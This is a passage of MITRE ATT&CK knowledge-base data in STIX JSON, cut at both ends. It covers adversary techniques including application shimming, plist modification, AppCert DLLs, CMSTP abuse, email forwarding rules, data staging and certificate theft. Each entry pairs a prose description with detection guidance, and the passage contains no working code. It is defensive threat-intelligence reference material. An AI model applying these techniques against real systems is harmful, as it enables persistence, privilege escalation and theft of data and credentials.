2020.","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1138","url":"https://attack.mitre.org/techniques/T1138"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"},{"url":"https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf","description":"Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.","source_name":"Black Hat 2015 App Shim"}],"modified":"2020-11-10T18:29:30.362Z","name":"Application Shimming","description":"The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--7d20fff9-8751-404e-badd-ccd71bda0236","created":"2022-04-09T15:06:32.458Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1647","url":"https://attack.mitre.org/techniques/T1647"},{"source_name":"eset_osx_flashback","url":"https://www.welivesecurity.com/wp-content/uploads/200x/white-papers/osx_flashback.pdf","description":"ESET. (2012, January 1). OSX/Flashback. Retrieved April 19, 2022."},{"source_name":"fileinfo plist file description","url":"https://fileinfo.com/extension/plist","description":"FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021."},{"source_name":"wardle chp2 persistence","url":"https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf","description":"Patrick Wardle. (2022, January 1). The Art of Mac Malware Volume 0x1:Analysis. Retrieved April 19, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the info.plist file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running additional commands for persistence (ex: [Launch Agent](https://attack.mitre.org/techniques/T1543/001)/[Launch Daemon](https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).\n\nFor example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the LSUIElement key in an application’s info.plist file to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as LSEnvironment, to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback)","modified":"2022-04-20T22:00:33.375Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Plist File Modification","x_mitre_detection":"Monitor for common command-line editors used to modify plist files located in auto-run locations, such as \\~/LaunchAgents, ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm, and an application's Info.plist. \n\nMonitor for plist file modification immediately followed by code execution from \\~/Library/Scripts and ~/Library/Preferences. Also, monitor for significant changes to any path pointers in a modified plist.\n\nIdentify new services executed from plist modified in the previous user's session. ","kill_chain_phases":[{"phase_name":"defense-evasion","kill_chain_name":"mitre-attack"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","File: File Modification"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c","type":"attack-pattern","created":"2020-01-24T14:47:41.795Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1546.009","url":"https://attack.mitre.org/techniques/T1546/009"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"},{"url":"https://forum.sysinternals.com/appcertdlls_topic12546.html","description":"Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.","source_name":"Sysinternals AppCertDlls Oct 2007"}],"modified":"2020-11-10T18:29:31.052Z","name":"AppCert DLLs","description":"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Module: Module Load","Command: Command Execution","Process: OS API Execution","Windows Registry: Windows Registry Key Modification","Process: Process Creation"],"x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_effective_permissions":["Administrator","SYSTEM"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank","Nik Seetharaman, Palantir"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1191","url":"https://attack.mitre.org/techniques/T1191"},{"url":"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)","description":"Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.","source_name":"Microsoft Connection Manager Oct 2009"},{"source_name":"Twitter CMSTP Usage Jan 2018","description":"Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018.","url":"https://twitter.com/ItsReallyNick/status/958789644165894146"},{"url":"https://msitpros.com/?p=3960","description":"Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.","source_name":"MSitPros CMSTP Aug 2017"},{"url":"https://twitter.com/NickTyrer/status/958450014111633408","description":"Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018.","source_name":"Twitter CMSTP Jan 2018"},{"url":"https://github.com/api0cradle/UltimateAppLockerByPassList","description":"Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.","source_name":"GitHub Ultimate AppLocker Bypass List"},{"source_name":"Endurant CMSTP July 2018","description":"Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.","url":"http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/"}],"modified":"2020-01-31T18:58:17.078Z","name":"CMSTP","description":"The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Application whitelisting","Anti-virus"],"x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1188","external_id":"T1188"}],"modified":"2020-03-14T23:25:20.928Z","name":"Multi-hop Proxy","description":"To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_is_subtechnique":false},{"modified":"2024-10-14T22:11:30.271Z","name":"Email Forwarding Rule","description":"Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)\n\nIn some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Microsoft Security","Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)","Liran Ravich, CardinalOps","Arun Seelagan, CISA"],"x_mitre_deprecated":false,"x_mitre_detection":"Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules)\n\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows","macOS","Linux","Office Suite"],"x_mitre_version":"1.4","x_mitre_data_sources":["Command: Command Execution","Application Log: Application Log Content","Cloud Service: Cloud Service Metadata"],"type":"attack-pattern","id":"attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0","created":"2020-02-19T18:54:47.103Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1114/003","external_id":"T1114.003"},{"source_name":"Mac Forwarding Rules","description":"Apple. (n.d.). Reply to, forward, or redirect emails in Mail on Mac. Retrieved June 22, 2021.","url":"https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac"},{"source_name":"Pfammatter - Hidden Inbox Rules","description":"Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.","url":"https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/"},{"source_name":"Microsoft Tim McMichael Exchange Mail Forwarding 2","description":"McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.","url":"https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/"},{"source_name":"Microsoft Mail Flow Rules 2023","description":"Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023.","url":"https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules"},{"source_name":"US-CERT TA18-068A 2018","description":"US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.","url":"https://www.us-cert.gov/ncas/alerts/TA18-086A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-09-30T13:28:37.415Z","name":"Data Staged","description":"Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nAdversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_contributors":["Praetorian","Shane Tully, @securitygypsy"],"x_mitre_deprecated":false,"x_mitre_detection":"Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nConsider monitoring accesses and modifications to storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","IaaS","Linux","macOS"],"x_mitre_version":"1.4","x_mitre_data_sources":["File: File Access","File: File Creation","Windows Registry: Windows Registry Key Modification","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e","created":"2017-05-31T21:30:58.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1074","external_id":"T1074"},{"source_name":"Mandiant M-Trends 2020","description":"Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.","url":"https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"},{"source_name":"PWC Cloud Hopper April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.","url":"https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Steal or Forge Authentication Certificates","description":"Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Entra ID device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)\n\nAuthentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)(Citation: APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate’s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate’s subject alternative name (SAN) values define the certificate owner’s alternate names.(Citation: Medium Certified Pre Owned)\n\nAbusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008). Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003) via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078) for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.\n\nAdversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003) by forging arbitrary authentication certificates for the victim domain (known as “golden” certificates).(Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Tristan Bennett, Seamless Intelligence","Lee Christensen, SpecterOps","Thirumalai Natarajan, Mandiant"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows","Linux","macOS","Identity Provider"],"x_mitre_version":"1.2","x_mitre_data_sources":["Command: Command Execution","Application Log: Application Log Content","Active Directory: Active Directory Credential Request","Active Directory: Active Directory Object Modification","Windows Registry: Windows Registry Key Access","File: File Access","Logon Session: Logon Session Creation"],"type":"attack-pattern","id":"attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331","created":"2022-08-03T03:20:58.955Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1649","external_id":"T1649"},{"source_name":"GitHub GhostPack Certificates","description":"HarmJ0y. (2018, August 22). SharpDPAPI - Certificates. Retrieved August 2, 2022.","url":"https://github.com/GhostPack/SharpDPAPI#certificates"},{"source_name":"Microsoft AD CS Overview","description":"Microsoft. (2016, August 31). Active Directory Certificate Services Overview. Retrieved August 2, 2022.","url":"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)"},{"source_name":"Medium Certified Pre Owned","description":"Schroeder, W. (2021, June 17). Certified Pre-Owned. Retrieved August 2, 2022.","url":"https://posts.specterops.io/certified-pre-owned-d95910965cd2"},{"source_name":"SpecterOps Certified Pre Owned","description":"Schroeder, W. & Christensen, L. (2021, June 22). Certified Pre-Owned - Abusing Active Directory Certificate Services. Retrieved August 2, 2022.","url":"https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf"},{"source_name":"O365 Blog Azure AD Device IDs","description":"Syynimaa, N. (2022, February 15). Stealing and faking Azure AD device identities. Retrieved August 3, 2022.","url":"https://o365blog.com/post/deviceidentity/"},{"source_name":"GitHub CertStealer","description":"TheWover. (2021, April 21). CertStealer. Retrieved August 2, 2022.","url":"https://github.com/TheWover/CertStealer"},{"source_name":"APT29 Deep Look at Credential Roaming","description":"Thibault Van Geluwe De Berlaere. (2022, November 8). They See Me Roaming: Following APT29 by Taking a Deeper Look at Windows Credential Roaming. Retrieved November 9, 2022.","url":"https://www.mandiant.com/resources/blog/apt29-windows-credential-roaming"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-09-25T20:39:53.597Z","name":"Device Registration","description":"Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)\n\nSimilarly, an adversary with existing access to a network may register a device to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \n\nDevices registered in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Entra ID tenant by registering a large number of devices.(Citation: AADInternals - BPRT)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Pawel Partyka, Microsoft 365 Defender","Mike Moran","Joe 